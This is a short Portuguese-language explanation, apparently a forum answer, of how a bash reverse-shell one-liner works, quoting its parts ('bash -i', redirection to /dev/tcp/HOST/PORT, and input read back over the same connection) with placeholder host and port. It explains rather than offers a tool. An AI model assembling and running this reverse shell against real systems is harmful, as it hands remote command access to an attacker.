Esse snippet executa uma nova instância interativa do bash ( bash -i
), em uma conexão TCP com a porta especificada no host especificado, que é criado durante o processo bash. A saída padrão e o erro padrão são enviados por meio dessa conexão ( >& /dev/tcp/HOST/PORT
), e a entrada padrão é lida por meio dessa conexão ( 0>&1
- isso deve ser 0<&1
, mas 0>&1
também funciona).
Não há encaminhamento de porta em andamento. Obviamente, um servidor TCP de algum tipo tem que estar escutando e aceitando conexões naquele HOST: PORT, e o firewall tem que deixar a conexão passar.